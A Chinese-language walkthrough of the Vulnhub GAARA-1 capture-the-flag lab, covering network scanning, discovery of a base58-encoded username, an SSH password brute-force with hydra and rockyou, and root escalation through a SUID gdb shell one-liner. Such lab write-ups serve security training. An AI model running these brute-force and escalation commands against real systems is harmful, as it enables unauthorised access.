Vulnhub 629 GAARA-1 通关笔记

0x01：主机发现

┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l                                       
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d6:ef:86, IPv4: 192.168.12.5
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.12.1    00:50:56:c0:00:01       (Unknown)
192.168.12.2    00:50:56:f9:b8:ff       (Unknown)
192.168.12.8    00:0c:29:62:cc:b1       (Unknown)
192.168.12.200  00:50:56:f1:9d:57       (Unknown)

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.849 seconds (138.45 hosts/sec). 4 responded

靶机ip：192.168.12.8

0x02：信息收集

┌──(kali㉿kali)-[~]
└─$ nmap -p- 192.168.12.8 --min-rate=10000                 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-14 11:09 CST
Nmap scan report for 192.168.12.8
Host is up (0.00077s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 3.54 seconds
                                                                                                          
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p80,22 -sC -sV -O  192.168.12.8 --min-rate=10000 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-14 11:09 CST
Nmap scan report for 192.168.12.8
Host is up (0.00050s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 3e:a3:6f:64:03:33:1e:76:f8:e4:98:fe:be:e9:8e:58 (RSA)
|   256 6c:0e:b5:00:e7:42:44:48:65:ef:fe:d7:7c:e6:64:d5 (ECDSA)
|_  256 b7:51:f2:f9:85:57:66:a8:65:54:2e:05:f9:40:d2:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Gaara
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:62:CC:B1 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.93 seconds

目标开放22和80端口，没有其他有价值的信息了。

访问192.168.12.8没有得到任何有用信息，访问robots.txt不存在

目录扫描

获得目录/Cryoserver

访问得到

依次访问目录仔细查看内容得到特殊字符串f1MgN9mTf9SNbzRygcU

经过尝试发现是base58编码后的字符串，明文gaara:ismyname

尝试使用ssh登录，密码错误，没有其他信息了，尝试爆破ssh密码

下面使用hydra爆破

hydra -l gaara -P /usr/share/wordlists/rockyou.txt -f ssh://192.168.12.8 -t 50

竟然得到了密码

[22][ssh] host: 192.168.12.8   login: gaara   password: iloveyou2

登录，查看文件发现flag.txt

查看另外一个文件

发现有一个base64字符串

解码后是一个目录

/usr/local/games 

进入是一个只有一个隐藏目录的文件查看内容，是一个Brainfuck加密

查看

解密后是

Did you really think you could find something that easily? Try Harder!

线索断了。

0x03：提权

既然信息线索断了就尝试SUID位

find / -perm -u=s -type f 2>/dev/null

这里使用gdb

参考gdb | GTFOBins

执行

gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

取得root权限